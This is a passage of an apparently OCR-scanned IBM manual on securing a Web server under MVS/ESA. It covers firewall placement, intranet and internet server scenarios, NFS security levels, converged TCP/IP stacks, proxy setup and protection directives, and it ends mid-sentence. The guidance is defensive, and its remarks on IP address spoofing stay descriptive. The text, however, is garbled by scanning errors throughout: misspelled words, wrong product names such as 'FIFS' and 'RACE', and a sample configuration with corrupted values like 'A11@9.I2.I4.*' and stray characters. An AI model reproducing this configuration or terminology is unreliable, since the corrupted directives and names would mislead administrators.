2.1.3 Packet Filtering Function of a Firewall 

The decisions that are made to either accept or deny a specific connection 
through a firewall are based on so-called filter rules, which are defined in the 
firewall machine. 

In TCP/IP terms these rules can usually be tied to the following criteria: 

• Source IP address and mask 

• Destination IP address and mask 

• Type of IP protocol 

• Source and destination ports 

• Direction of the IP packet 

• Network interface 

Based on the security policy that is defined with these filter rules, the TCP/IP 
packets that arrive at the firewall are examined and either accepted to pass or 
not. 

An important criteria in conjunction with Web servers is the network interface, 
which can be used to ensure that an IP address claiming to be an address from 
the private network is not a fake address from the Internet. 

Note: No firewall solution is ever 100% secure. The only way to reach that 
level of security is not to connect the networks at all. Also remember that any 
other connection to the corporate network from outside (for example, through a 
modem on a LAN-attached PC) bypasses the control that a firewall enforces. 

2.1.4 Other Functions of Firewalls 

In addition to the packet-filtering capabilities, firewalls also have functions that 
are mainly used when accessing the Internet from the internal network, such as 
the following: 

• Prevention of the internal IP addresses from being seen on the Internet 

• Optional user authentication when a connection from the internal network to 
the Internet is established 

• Extensive auditing and logging of the traffic 

• Alarm facilities of detected intrusion events 

IBM Internet Connection Server Secured Network Gateway is a full-blown firewall 
solution that can be used together with the Internet Connection Server for 
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MVS/ESA. It runs on an AIX platform and requires a dedicated RS/6000 UNiX 
machine. It has all the above described functions. For detailed information, 
refer to Building a Firewall with the NetSP Secured Network Gateway. 

2.1.5 Placement of a Firewall 

Generally it is recommended that a Web server is placed outside the firewall, 
since it is to be available to large groups of users. This is reasonable because 
in case of a break-in, for example, the attacker remains outside the private 
network and the possible harm is isolated to one machine. 

If there is no need to connect the Web server to the corporate network, there is 
also no need for a firewall. The lack of a network connection is a very secure 
firewall itself. However, there may be reasons to connect the private network 
and the Internet (for example, outbound traffic to the Internet, or for maintenance 
of the Web server through the private network). 

In Figure 7 on page 17 there is an additional firewall between the Web server 
and the Internet. Its main task is to prohibit all unwanted protocols from passing 
on to your Web server. For a plain Web server, this means that only the HTTP 
protocol is allowed through to the Web server. Filter rules are defined that only 
allow traffic to and from the port 80 (common port number for HTTP) in the Web 
server. 

In other words, even though you would protect the Web server machine by its 
own mechanisms, you may want to add another control point in front of it to 
make a break-in much more difficult. When this firewall is in place, the network 
between the secure internal network and the insecure Internet is usually called a 
demilitarized zone (DMZ). Many times this second firewall is substituted with a 
standard router, which does have basic filtering capabilities, even though it is 
not as secure as a firewall. 


2.2 Recommendations 

Topic 2.3, “Internet Connection Server for MVS/ESA Scenarios” on page 20 
discusses scenarios for Internet Connection Server for MVS/ESA usage in the 
context of network security. In this topic there is also a description of the 
relationship between a firewall and the Internet Connection Server for MVS/ESA. 
As you will see, a firewall is not a prerequisite in all of these scenarios. This is 
because OpenEdition MVS as a Web server platform has some unique 
capabilities in the form of multiple concurrent TCP/IP stacks. 

However, this does not mean that a firewall solution is redundant in conjunction 
with the Internet Connection Server for MVS/ESA. A firewall always adds 
another control element in a network security configuration and therefore should 
be used if your security policy requires it. It is a question of assessing the threat 
and implementing those security measures that are justifiable in regard to their 
cost. 
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2.3 Internet Connection Server for MVS/ESA Scenarios 


In the following scenarios, some recommendations are outlined for a secure 
Internet Connection Server for MVS/ESA implementation. The network issues for 
these scenarios are described in the OS/390 Internet BonusPak: Networking 
Guide. This chapter focuses on the security issues of these configurations. 

The first scenario describes a configuration where the Web server is only 
accessible by the users inside the corporate network. In the second scenario, 
two Web servers are running, one for the users at the corporate network and 
one for the users in the Internet. In the third scenario, a gateway to the Internet 
is added to allow access to the Internet for users that are connected to the 
corporate network. 


2.4 Web Server for Corporate Network (Intranet) 

Figure 8 describes a possible configuration of the Internet Connection Server for 
MVS/ESA providing information only for the users inside the private company 
network. 



In Figure 8, the workstations in a company are connected through a local area 
network connection using TCP/IP protocol to the Internet Connection Server for 
MVS/ESA. In case the end-user wants a connection to the Internet, there needs 
to be a second terminal installed for this user. As depicted in “Workplace A,” 
the user needs one workstation to be connected to the Intranet, and another 
workstation to be connected to the Internet. 
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2.4.1 No Confidential Data on the Web Server 

In the simplest form of the first scenario, you expect that the Internet Connection 
Server for MVS/ESA is providing company information that shouid be availabie 
for any empioyee through the company network. From a network security 
perspective, this scenario is the most straightforward. However, there are stili 
some measures to be taken to enhance security, as foiiows: 

TCP/IP services 

Aii the unnecessary services of the TCP/IP protocol should be inactivated. 
Examples of these are the rexec and rlogin daemons. These protocols are 
very powerful in nature, and if you are opening possibilities for users to get 
access to the Web server outside the HTTP protocol, you have to be very 
careful about the security definitions in the server environment itself. 

Network connections from the server 

Unnecessary network connections from the MVS system running the Web 
server to other systems should be avoided. Specifically, TCP/IP 
connections are risky and could open access to other systems in case 
someone tries to take advantage of the network. There may be reasons to 
have SNA-based connections (for example to enable NetView to monitor 
the availability of the Web server), but these connections are very difficult 
for anyone to exploit and they can be justified. 

Web server administration 

There are several means to administer the Internet Connection Server for 
MVS/ESA configuration, depending on the network protocol in use. It can 
be done through a TSO session or a Telnet session. The Internet 
Connection Server for MVS/ESA also has a remote administration feature, 
which makes it possible to change the configuration through an 
HTML-based interface. 

The safest way to maintain the Web server environment is by a TSO 
session. You can also consider updating the configuration data on a 
shared DASD from another MVS partition. Both of these methods are 
slightly safer than opening a Telnet session to the MVS for that purpose. 

The remote administration feature of the Internet Connection Server for 
MVS/ESA can also be used for the server configuration tasks. The security 
of this feature can be based on IP addressing or domain naming together 
with user ID and password checking. Usage of these facilities provides a 
sufficient level of protection for this function. However, it is strongly 
recommended that you change the user ID and the password from the 
provided default to something else. 

Web page management 

For Web server page management, there are several possible ways to 
maintain the pages on the Intranet server and there are some security 
issues involved with them. 

First of all you should consider creating a staging area for your HTML 
source files, where the persons responsible for the content creation can 
transfer the new material. Then, another person responsible for the page 
management itself can transfer the new pages to the directories, which the 
Internet Connection Server for MVS/ESA uses to display the contents of the 
Web server. By separating these duties, you are able to minimize the 
exposure that too many users would be given the authority to update the 
production pages of the Web server. 
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The easiest way to do page maintenance is based on the use of an NFS 
server in MVS and an NFS ciient in the workstation. After mounting the file 
system to the workstation, the Web pages can be edited and saved straight 
to the correct directory in MVS FIFS. Other possible ways to do updates 
are to use the FTP protocol to send the updated pages to the MVS, or to 
use TSO session for updating the files in the correct directories. Finally, 
you can also use a Telnet session to access the correct FITML directories. 

From a network security perspective, using a TSO session is the most 
secure method, since it uses an SNA connection; therefore, there is no 
need to activate Telnet, FTP or NFS servers in the MVS system running the 
Internet Connection Server for MVS/ESA. Flowever, using NFS for the page 
updates has many advantages in productivity terms, and so it will probably 
end up being used in most cases. 

NFS security considerations 

The Network File System provides a method of accessing files and 
directories on other machines in the network and treating them as local. A 
directory on a remote machine, in this case in the MVS FIFS, can be 
mounted onto the local file system in the user's workstation. All actions 
performed on this mounted directory are automatically passed across the 
network to the MVS host. 

The security in MVS NFS with OpenEdition MVS is explained in detail in the 
MVS/ESA SP 5.2.2 OpenEdition MVS: instailation and Customization Starter Kit. 

Flere are some brief recommendations for its usage with the Web server page 
maintenance. 

MVS NFS provides the following four levels of security to choose from: 

NONE No security checking is performed. 

EXPORTS EXPORTS file is used to check security. 

SAF System Authorization Facility checking is performed. RACF provides 

the information. 

SAFEXP Both SAF and EXPORTS file checks are performed. 

The level of security is incremental; therefore, NONE provides no security at all 
and SAFEXP enforces the strongest level of security. 

In the EXPORTS level of security a specific file contains the names of the 
directories that can be mounted and the IP addresses of the client machines that 
are allowed to do the mounts. 

In the SAF level of security, user authentication is checked by RACF, from the 
user ID and password pair provided by the NFS client. Also the access to FIFS 
files are checked by RACF. 

In the SAFEXP level of security, both EXPORTS and SAF levels are taken into 
account. 

In our scenario we want to make sure that only authorized users are able to 
mount the Web server staging area directories or the actual server production 
directories from the MVS FIFS and modify their contents. 
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The recommendation is to use at ieast the RACF ievei of protection, since the 
EXPORT ievei of protection is based on IP addresses, which can be faked easiiy 
in an office environment. Aiso with RACF protection the authorizations to the 
correct directories can be defined centraiiy. The SAFEXP can aiso be used for 
the added protection of IP addressing. 

2.4.2 Confidential Data Included on the Web Server 

There may aiso be a requirement to restrict some of the information on the Web 
server to specific users in the organization. In figure Figure 7 on page 17 this 
wouid mean that some of the pages in the Web server shouid oniy be dispiayed 
by the workstation in “Workpiace A” or to an authenticated user on any of the 
workstations. 

Aithough you might have the impression that you don't need any strict security 
practices in piace if you are using an internal network, you should realize that 
most security breaches today are done by people inside a company having a 
chance to access information they should not access. Therefore, if there is a 
need to store confidential information in the Internet Connection Server for 
MVS/ESA even in the Intranet scenario, some important security aspects must 
be considered. 

The authorization in the Internet Connection Server for MVS/ESA protection 
directives can be based on IP addressing or domain naming, together with user 
ID and password checking. It is strongly recommended that you do not only rely 
on IP addressing or domain naming, but also implement a user ID and 
password-based authentication, for the following reasons. 

In an office environment it is usually easy to change your workstation IP address 
to something else and then try to access information based on the new IP 
address. This is because TCP/IP on a workstation is configurable by the end 
user who may connect to the network with the new address if that address is not 
active somewhere in the network. For example, a person can power down a PC 
from an adjacent office, reconfigure the TCP/IP to the other workstation's 
address and access information based on that authorization. 

There is also no guarantee that the user at the workstation connecting to the 
Web server from an authorized IP address is actually the right person. If the 
workstation is left active unattended, anyone can use it to access restricted 
information from the Web server. 

Refer to Chapter 5, “Protecting Your Internet Connection Server for MVS/ESA” 
on page 47 for a detailed look at the Web server protection directives. 

Also, requiring users to enter their MVS user IDs and passwords reduces the 
security risk to a level where corporate network security, in general, stands 
today. However, this is not totally secure, since the basic HTTP authentication 
included in the Internet Connection Server for MVS/ESA has its limitations. For a 
knowledgeable person, it is possible to decode a password that is transferred 
across the TCP/IP network, since the password is not securely encrypted. 

For strong security we recommend that you plan to use the cryptographic 
enhancements that are planned for the future release of Internet Connection 
Server for MVS/ESA. With those enhancements the data, including passwords, 
flow encrypted across the network and the security is at a stronger level. These 
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security enhancements are discussed in Chapter 11, “Future Security for Your 
Internet Connection Server for MVS/ESA” on page 137. 


2.5 Web Server for Both the Corporate Network and the Internet 

This second scenario describes the network security of configurations where 
both the Internet users and the internal corporate users are being served by the 
Internet Connection Server for MVS/ESA. 

In this scenario an external Web server is instaiied into the same partition where 
the existing internal Web server is aiready instaiied. After instaiiing the second 
Web server, the internet access for the corporate network users is impiemented. 

2.5.1 An Internet Web Server and a Corporate Web Server in the Same MVS 
Partition 

When both the Internet users and internal users are to be served from the same 
MVS system, the security issues are more severe. Some basic assumptions of 
the security requirements are as follows: 

• Users from the Internet should not be able to see the internal Web server 
pages. 

• Users from the Internet should not be able to connect to the TCP/IP port 
defined for the internal Web server. 

• Users from the Internet should not be able to connect to any TCP/IP services 
running in the MVS partition other than the external Web server. 

• Users from the corporate network should be able to see the pages in the 
external Web server. 

2.5.2 Using Integrated Sockets Support 

If the Internet and Intranet Web server are implemented in a single OpenEdition 
environment (in a single MVS image) and the integrated sockets support is 
exploited, the security requirements mentioned in the previous topic are difficult 
to meet. 



IP network SNA network 


Figure 9. Integrated Sockets Support 


24 MVS Web Server: Security 





































Figure 9 depicts an environment that is exploiting the integrated sockets support 
that has been available since MVS SP 5.2.1. This support creates an 
OpenEdition socket environment that supports file descriptors, local sockets, and 
network sockets concurrently In the same socket application program. Through 
a NETWORK statement in parmlib, the sockets are defined to OpenEdition MVS. 
That results in a fixed route for all network traffic from a particular OpenEdition 
MVS application such as the MVS Web server. 

OpenEdition MVS allows installations to use the same socket application 
program with both TCP/IP and AnyNet as a transport provider, but only one of 
them can be accessed at a time. The decision for either TCP/IP or AnyNet Is 
made through a statement in the OpenEdition MVS parmlib member BPXPRMOO 
as shown in Figure 9 on page 24. 

Because of the common TCP/IP stack, there Is a route to all the TCP/IP services 
running on the system, when accessing it from the Internet. These services also 
Include the Internal Web server. The following are some security measures that 
you can take to prevent this from happening: 

• The protection directives in the internal Web server can be set up to only 
serve internal IP addresses or domain names. 

This, however, is not sufficient, since it is technically possible to fake the 
source IP address of an incoming TCP/IP connection. This was described on 
page 16. Therefore, an additional control point (a firewall) Is needed 
between the Web server MVS system and the Internet. The task of the 
firewall In this context is to prevent a fake internal IP address from being 
accepted by the Internet Connection Server for MVS/ESA, if the connection is 
established from the Internet. 

• Additional password protection. 

The Internal Web server can optionally be password protected. However, 
restriction by user ID and password also has its problems. Passwords can 
be guessed and they create Inconvenience for internal users who should be 
authorized to access the data freely. 

Refer to Chapter 4, “Security Considerations When Using Basic Server 
Security” on page 43 for a detailed discussion of this topic. 

2.5.3 Converged Sockets 

A more robust configuration to meet the requirements is to take advantage of 
multiple IP stacks running on the same MVS Image. It Is possible in an 
OpenEdition MVS system to run with multiple TCP/IP stacks concurrently, either 
defined at the MVS level or OpenEdition MVS level. 

This configuration is exploiting the converged sockets facility that is available 
with MVS SP 5.2.2. Figure 10 on page 26 depicts the converged sockets (also 
referred to as CINET) environment. 
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Figure 10. Converged Sockets 

CINET support allows an Installation to connect up to 32 transport providers to a 
single OpenEdItlon MVS environment. When CINET processes a socket request 
that requires it to select a particular TCP/IP or AnyNet/MVS stack, CINET uses Its 
copy of the IP configuration data to select the appropriate stack. 

Each transport provider connected to OpenEdItion must provide the CINET 
physical file system (PFS) with a copy of its internal IP routing table. In order to 
complete the request, the IP routing tables are used by CINET to determine the 
pre-routing of a socket call to the correct transport provider. 

A scenario exploiting this converged sockets facility is shown in Figure 11 on 
page 27. A separate TCP/IP stack at OpenEdItlon MVS level is used solely for 
the external Web server. No other services are defined using this stack. 

Another TCP/IP stack, that Is connected to the the Intranet, Is assigned to a 
second Web server. 

This setup separates the external Internet users from the internal corporate Web 
server that Is defined with the other TCP/IP stack at the OpenEdition MVS level. 
This is because the Internet Connection Server for MVS/ESA daemon can be 
bound to a specific IP address, which leaves no possibility for an Internet user to 
connect to the Internal Web server. In this configuration the external Web server 
Is bound to the IP address of the networking Interface that connects to the 
Internet. 

In the router that connects the external Web server to the Internet, define only 
static routes to the external Web server domain. For additional protection, a 
firewall can be Implemented between the external Web server and the Internet. 

For the corporate network, define a route to the internal Web server. To enable 
the corporate users to view the external pages, consider the following setup. 

The OpenEdition MVS FIFS can be shared between the two Web servers. To 
separate the external pages from the internal ones, they can be defined In a 
different directory subtree of FIFS. The directives in the external Web server 
point to the respective directories. You can additionally protect the directories 
containing Internal Information by using a different surrogate user ID and setting 
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the permission bits for the HFS accordingly. The surrogate user ID concept is 
explained in more detail in section 5.7, “Using Surrogate User IDs” on page 62. 

2.5.4 Other Security Considerations for this Configuration 

All the other security measures, which were described in 2.4.1, “No Confidential 
Data on the Web Server” on page 21, also apply to this configuration, with the 
following additions: 

• Web server administration 

The remote administration facility is not recommended to be used. If there Is 
no firewall Implementation between the external Web server and the 
Internet, the protection based on IP addressing is not sufficient. It Is 
recommended that the Web server administration be done through a TSO 
session. 

• Web page management 

For Web page management. If NFS or FTP Is going to be used, the daemons 
should be connected to a TCP/IP stack that Is defined at MVS level. Defining 
these daemons at OpenEdItlon MVS level leaves a possibility for the Internet 
users to connect to them, since these daemons cannot be bound to a 
specific networking interface, as is the case with the Internet Connection 
Server for MVS/ESA daemon. 

This means that users doing page management are not able to access FIFS 
files directly. They have to store first the updated files In MVS data sets, 
where they can be copied to the correct FIFS directories with the TSO OPUT 
command. 

If these daemons are defined at the OpenEdition MVS level, the only 
protection that prevents an Internet user from not using these services is 
RACF user ID and password authentication. Flowever, you might not want to 
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rely solely on It, since passwords can be guessed. This also gives a hacker 
the possibility to revoke MVS user IDs with repetitive unsuccessful tries. 

All the other security measures regarding Web page management, which 
were described in the 2.4.1, “No Confidential Data on the Web Server” on 
page 21, should be taken Into account. 


2.6 Internet Connection Server for MVS/ESA as a Proxy Server 

In addition to serving Information from the Web server, Internet Connection 
Server for MVS/ESA can also be used as a so-called proxy server, a gateway to 
the Internet from the corporate network. 

A proxy server Is a Web server that runs in the internal network and provides 
access to the outside network on behalf of a user. Users configure the proxy 
server's address to their Internet browsers and It takes care of the connections 
to the Internet. This means that the proxy server's IP address is the one that 
shows up at the other end of the connection. 

According to good Internet security practices. Internal IP addresses have to be 
hidden from the outside world. One of the functions of a proxy server is to keep 
the internal IP addresses from leaking out to the Internet. 

Proxy servers are usually set up for caching as well, which means that they help 
to reduce the load on some frequently used Web server pages. 

In the third configuration, the Internal Web server Is configured as a proxy 
server. This is shown in Figure 12 on page 29. Various components play In 
concert to achieve this proxy facility. 

The configuration file needs a Pass directive that passes each request that does 
not belong to this Web server back to OpenEdition. The Pass directive should 
not Identify a new target address for this request. Since this request does not 
have a specified address, OpenEdition will pass this request to the default 
TCP/IP stack. The TCP/IP stack for the Internet should be specified in the 
pre-routing table as the default stack. This guarantees that the request will be 
passed to the Internet. OpenEdition will keep track of this request and will route 
the response to this request back to the user on the Intranet. 
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Figure 12. Two Web Servers and Two TCP/IP Stacks With a Proxy Server 

The external Web server is not defined as a proxy server and there is no socket 
connection from it to the internal TCP/IP stack. Because of this, there is no 
route from the external Web server to the internal TCP/IP stack. Also, the router 
that connects the external TCP/IP stack to the Internet is defined with static 
routing to the external TCP/IP stack only. 

2.6.1 Security Considerations of a Proxy Server Setup 

All the same considerations that were described for the configuration without the 
proxy server apply to this setup as well. 

One can argue about the level of security that this configuration gives you 
against hackers. There is no guarantee that this configuration cannot be 
compromised; however, the level of protection MVS provides makes attacks 
more difficult to accomplish. This, of course, is based on an assumption that the 
TCP/IP configuration, together with the Web server protection directives and the 
RACF definitions, are carefully implemented and maintained. Also for maximum 
security, no TCP/IP services other than the Internet Connection Server for 
MVS/ESA should be defined to the external TCP/IP stack. 

Again, a firewall can be implemented between the external Web server and the 
Internet to provide an additional control point against hackers. 
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Chapter 3. Protecting the Pages on Your Internet Connection Server 
for MVS/ESA 


The Internet Connection Server for MVS/ESA is operational once you install it. 
But before you have your server installed and running, you probably want to 
change some parts of the default configuration file to make the server meet your 
own particular needs. 

This chapter describes how to set up security for a Internet Connection Server 
for MVS/ESA. It discusses how to implement a set of authentication and 
authorization rules, using the configuration facility. 

This type of protection is called basic server security. A set of statements that, 
for example, describe the protection for a group of pages is called a protection 
setup. Statements in the configuration file are called directives or sub-directives. 


3.1 Highlights of Basic Server Security 

By using basic server security, you can specify who can access your Internet 
Connection Server for MVS/ESA and how you want to protect the documents on 
the Web server. For example, you can indicate the following identification, 
authentication and authorization schemes: 

• Allow all available pages to be read by any client. 

• Simply deny access to files that you do not want users to see. 

• Allow access only to selected IP addresses or domain names. 

• Allow access only to selected users who will also need to provide a user ID 
and password and access your server from selected IP addresses or domain 
names. 

• Allow access to selected pages only to users who can be identified by either 
a user ID and password or by IP address or domain address. 

• The way passwords are validated: 

- In a password file that is part of your HFS 

- In an external security manager, such as Resource Access Control 
Facility 

• Allow users to read HTML forms but not submit them. 

• Indicate what type of access control should be used: 

- Permission bits in the file security packet in the HFS 

- Access control lists 

• Indicate which user ID is used in the access control check: 

- The user ID of the Web server daemon 

- A default surrogate user ID 

- A surrogate user ID for a particular set of pages 

- The user ID of the client 

• A combination of all of the above methods. 

The decisions about which requests are acceptable is basically made within the 
configuration file. But the identification, authentication and authorization request 
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itself should be dispatched te an external security product. Examples in this 
book are based on the existence of such an external security product, Resource 
Access Centrol Facility. 

In addition to the basic server security, the system itself needs to be protected. 
This is discussed, tegether with the RACF interface for the Internet Connectien 
Server for MVS/ESA in Chapter 5, “Pretecting Your Internet Connection Server 
for MVS/ESA” on page 47. 


3.2 Basic Server Security Fiow 

Figure 13 depicts the precess flow of the basic server security within the Internet 
Connection Server for MVS/ESA. 


Default uiD Web server daemon 



Figure 13. Basic Server Security Flow 

In Figure 13 the process of a request from a client workstation, for example, a 
web browser, is depicted. The follewing events are shown: 

1. The client requests a FITML page from the server. 

2. The Web server daemon reads this request and censults the configuration 
file to see if this request is a valid request for this server. 

3. The configuration file returns the user ID that should be used to perform 
access contrel checks for the resources that are accessed as a result of this 
request. The Web server daemon verifies that he is allowed to use the user 
ID that is returned from the configuration file. The user ID that can be 
returned from the cenfiguration file is one of the following: 

• A default user ID that sheuld be used if ne other user ID is specified. 

This might be the user ID the Web server daemon is running on. 

• A surrogate user ID that should be used in case specific protected 
resources are accessed. Note that the default user ID can also be a 
surrogate user ID. 

• The user ID of the local defined end-user. 
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Since the user IDs are used in a OpenEdition MVS environment, access 
control is based on the UID that is assigned to this user ID through the 
OpenEdition segment in the RACE user profile. 

4. Based on the returned information from the configuration file, the Web server 
daemon determines if this protected resource can only be aocessed by an 
identified and authenticated user. If that is the case, the Web server request 
the end-user to send his credentials. 

5. The Web browser prompts the end-user for this user ID and password and 
sends these credentials together with the re-submitted request to the server. 

6. The Web server daemon can be configured, through statements in the 
configuration file, to verify the end-user's credentials through the SAP 
interfaoe in an external security product such as RACE. 

In case the SAP interface is not used, the user oredentials can be verified in, 
for example, a password file that is pointed to by the configuration file. 

7. Once the credentials are verified, the Web daemon process will assign the 
proper UID to the process that is performing the access to the requested 
resources. 

8. Resource access control is performed by using the UID that is assigned to 
the process and the permission bits that are specified in the file security 
packet of the the PIES. 

In case MVS-protected resources are accessed, for example, if a GIGS 
transaotion is started as a result of this request, the RAGE user ID is used 
together with the RAGE profiles that are speoified in the RAGP database (or 
any other external security product's information to base security checks). 

9. The requested data is accessed by the process that was started by the Web 
server daemon. 

10. The Web server daemon passes the requested data to the end-user. 


3.3 Basic Server Security Options 

You can use two types of protection to control access to your Internet 
Gonneotion Server for MVS/ESA: 

• User name and password protection 

• Address template protection 

You can use one type of proteotion by itself or both together. You oan use either 
or both types of protection in protection setups and access control list files. 

3.3.1 User Name and Password Protection 

With this type of proteotion, you can indicate which user IDs you want requestors 
to use to access the protected resources on your Web server. You oan define 
these user IDs and assign them a password in a password file. 

You oan also indicate that a external security manager should be used to store 
these user IDs and password. 

When the Web server receives a request that activates this type of protection, 
the server prompts the requestor for a user ID and password. In order for the 
request to oomplete, the requestor must return a valid user ID and the matching 
password for that user ID. 
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3.3.2 Address Template Protection 

With this type of protection, you use address tempiates to specify vaiid requester 
addresses for the different types of requests. You can use address tempiates in 
protection setups and in access controi iist fiies. 

When the server receives a request that activates this type of protection, it 
compares the address of the requestor to the tempiate to determine if the 
requestor comes from a vaiid address. The server can use either the IP address 
of the requestor or the host name of the requestor. 

3.3.3 Which User ID is Used in Access Control Checks? 

The Internet Connection Server for MVS/ESA can use the MVS System 
Authorization Facility (SAF) to route identification and authentication requests for 
users and authorization requests for resources to an externai security manager 
such as Resource Access Controi Faciiity. 

The Internet Connection Server for MVS/ESA runs with a user ID that has a UID 
of 0, so that it aiways runs with superuser authority. This user iD is used to 
vaiidate requests. The Internet Connection Server for MVS/ESA aiways changes 
to either a surrogate user ID or the client's local MVS (OpenEdition MVS) user ID 
prior to accessing the requested resources. 

Surrogate user IDs can be used to process requests for users that do not have 
user IDs on the MVS system running your Web server. The user ID that is used 
in the resource access authorizations requests is either: 

• A default surrogate user ID that will be used if no other (surrogate) user ID is 
specified in a matching directive or sub-directive. 

• A surrogate user ID that is specified in this particular matching directive or 
sub-directive. 

• The user ID of the requestor. In that case, the requestor needs to have an 
OpenEdition MVS user ID on the system the Web server is running on. 

3.3.4 Access Control Checks 

Access control to the pages on the Internet Connection Server for MVS/ESA is 
based on either: 

• Access rights that are specified in access control list (ACL) files. Each 
directory can have one ACL file, and by using an override sub-directive, your 
server ignores the mask sub-directives that are in the protection setup. 

• Resource protection through an external security manager such as Resource 
Access Control Facility. 

Directives and sub-directives do not control access to resources; they can only 
control which requests are, for example, accepted or failed. Part of the resource 
name this request is targeting might be included in the request. 

Directives and sub-directives specify the way users should be identified and 
authenticated, either by: 

• User ID and password files that are specified in directives or sub-directives 
in the configuration file 

• By an external security manager such as RACF 
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Some information is availabie to ali users, without any identification or 
authentication. By using directives, an instaiiation can give unrestricted access 
to some information on the Web server. 

You wili find a combination of aii these security schemes within one 
configuration fiie. That's why these configuration fiies are so compiicated to 
read. A request is compared against the directive and sub-directive tempiates. 
Comparisons begin at the beginning of the configuration fiie and move towards 
the end. if a request matches a directive or sub-directive tempiate, it is not 
checked against any successive directives. 


3.4 Activating Protection 

The first step to controiiing access to your server's resources is to activate 
protection. You activate protection based on the content of requests that ciients 
send to your server. 

This document refers to a request as the part of the fuii Uniform Resource 
Locator (URL) that foiiows your server host name. For exampie, if your server is 
named www.server.com and a requestor enters the foiiowing URL on the 
browser, 

http://www.server.com/rfoul/sched.html 

the request your server receives is /rfoui/sched.html 

You can use Protect directives to specify which requests shouid activate 
protection. Each Protect directive has a request tempiate. The Internet 
Connection Server for MVS/ESA activates protection when it receives a request 
that matches a request tempiate on a Protect directive. The Protect directive 
aiso either identifies or contains the protection setup to be used. 


3.5 Creating Protection Setups 

A protection setup is a group of protection sub-directives. The sub-directives 
work together to define how the Web server shouid controi access to the 
resources being protected. 

When a Protect directive activates protection for a request, it aiso does one of 
the foiiowing: 

• Identifies the protection setup to use 

• Defines the protection setup as part of the Protect directive 
You can create protection setups in the foiiowing ways: 

• You can create protection setups within the configuration fiie as part of 
Protection, Protect, or DefProt directives. 

When you create a protection setup on a Protection directive, you give the 
setup a iabei that you can point to iater from Protect and DefProt directives. 
For exampie: 

Protection protection_lable 

Protect URL-request-template protection_label 

When you create a protection setup on a DefProt or Protect directive, the 
protection setup is used oniy for that directive. The setup cannot be pointed 
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to by other DefProt or Protect directives. This type of protection setup is 
called an in-line protection setup. 

Indicate you are Including a protection setup as part of a Protection, Protect, 
or Defprot directive by making the last character on the line that contains the 
directive a left brace ({) character. On each following line put one protection 
sub-directive and its value. Indicate the end of the protection setup by 
putting a right brace character (}) by Itself on the line following the last 
protection sub-directive. For example: 

Protection protection_lable { 
sub-directive 
sub-directive 
sub-directive 

} 

• You can create separate protection setup files that you can then point to 
from Protect and DefProt directives. A protection setup file Is a plain text 
file. Within the file, each line contains one protection sub-dIrectIve and the 
value for that sub-directive. 


3.6 What Directives Shouid You Look For? 

In order to secure yeur Internet Connection Server for MVS/ESA, you should use 
the following directives (or a subset) in yeur configuration file. 

• ServerRoot server root 

• Enable HTTP methods 

• Disable HTTP methods 

• AccessLog 

• ErrorLog 

• Userid user ID 

• Pretectlon 

• Serverld server ID 

• AuthType 

• PasswdFile 

• DeleteMask, GETMask, PostMask, PutMask, Mask 

• DNS-Lookup 

• GreupFile 

• Protect or DefProt 

• Pass, Fall, Map, Exec, or Redirect 

For a complete description of these directives and sub-directives, see 
Appendix A, “Directives and Sub-directives That Are Used te Control Access” on 
page 145. 


3.7 Sampie Protection Scheme 

This topic describes a sample protectlen scheme that does the fellowing: 

• It protects files In subdirectory /usr/ipp/internet/secret/business/ 

• Access control Is based on the user ID of the client. 

• User ID and password are validated In the external security manager. 

• All user IDs that access your Web server from a set of specified IP 
addresses and that meet the above criteria can request to read the selected 
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pages (access control is not determined in the protection setup; only the 
request Is validated). 

• Only the user with a validated user ID WEBADM who accesses the Web 
server from a set of specified IP addresses can update the protected pages. 

The access control for the remainder of the pages on this Web server Is based 
on the default surrogate user ID. Other Protect directives can also use this 
Protection setup. The user ID that Is used In access control Is either the 
surrogate user ID that is specified in this setup or is indicated in the Protect 
directive. 


Following you will find the sample protection setup. 


Userid PUBLIC Q 


Protection PROT-SETUP-USERS { 

Serverld serverid 

AuthType Basic 

PasswdFile %%SAF%% 

Userid INTERNAL Q 

GETMask A11@9.I2.I4.* 

PUTMask WEBADM@9.I2.I4.* 

Protect /secret/business/* PROT-SETUP-USERS %%CLIENT%% Q 

Pass /* /usr/lpp/internet/* 

Figure 14. Sample Protection Setup 


Notes: 

1. The protected subdirectory is /usr/Ipp/internet/secret/business 

2. The server document root is /usr/lpp/internet 

3. User IDs and passwords are checked In the external security manager 

4. The various user IDs that are used for access control through the external 
security manager are: 

[J PUBLIC is the default surrogate user ID that is used if it is not 
overridden by a protection setup that matches the request. 

0 INTERNAL is the surrogate user ID that is used for this particular 
protection setup. 

H%%CLIENT%% Is not really a user ID. Instead, it tells the Web 
server to require that the requestor have a local MVS user ID and 
password. The requestor's user ID Is used to access the particular 
Information that matches this Protect URL-request-template. 

Other Protect directives that do not specify a specific username result In 
the usage of the surrogate user ID INTERNAL. 

5. All surrogate user IDs specified for use by the Web server must be given as 
MVS login names, not UIDs. They must also be defined as BPX.SRV.L/ser/c/ 
profiles Is the RACF surrogate class, and the user ID that Is assigned to the 
Web server must be permitted with READ access to them. 

6. User ID %CLIENT%% may be used Instead of a surrogate user ID. The Web 
server will require the client to supply a valid local MVS user ID and 
password. The request Is served under that user ID. The clients user ID 
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does not need to be defined under the surrogate class, and the user ID that 
is assigned to the Web server does not need any special permissions. 

Refer to Chapter 5, “Protecting Your Internet Connection Server for MVS/ESA” 
on page 47 for information on how to prepare and enable your Internet 
Connection Server for MVS/ESA for using identity changes and surrogate 
support. 


3.8 How the Server Processes Requests 

Following is a description of how the Web server processes a request that has 
already activated the protection setup that is depicted in Figure 14 on page 37 
and is accepted by the Pass directive shown in that sample setup. 

This description will help you decide what type of protection you want to use. 

1. Based on the HTTP method of the request, the server refers to the 
appropriate Mask sub-directive in the protection setup. The Mask 
sub-directive specifies valid user names, groups, or address templates. 

If any items on the Mask sub-directive use only address template protection, 
the server compares the address of the requestor against the address 
template. To indicate you want to use address template protection only, 
precede the template with one of the following: @, Anybody®, Anyone®, 
Anonymous® 

If there is a match, the server completes the request without prompting for a 
user name or password. If there is no match or no items use address 
template protection only, the process continues with the next step. 

2. If any items on the Mask sub-directive are user names or group names, the 
server prompts the requestor for a user name and password. 

In Figure 14 there are two Mask sub-directives specified: 

• GETMask All®9.12.14.* 

The server checks the user name sent by the requestor against the valid 
user names. In this sample setup, the server checks all requestors that 
match the address template. Valid user names are either the individual 
user names on the Mask sub-directive or user names defined as being 
part of a group that is on the mask sub-directive. In this sample, all user 
names are valid user names. 

If there is a match, the process continues with the next step. If there is 
no match, the process ends and the server returns a message to the 
requestor saying that the authorization failed. Only valid user names 
with matching addresses can GET the protected pages if they pass the 
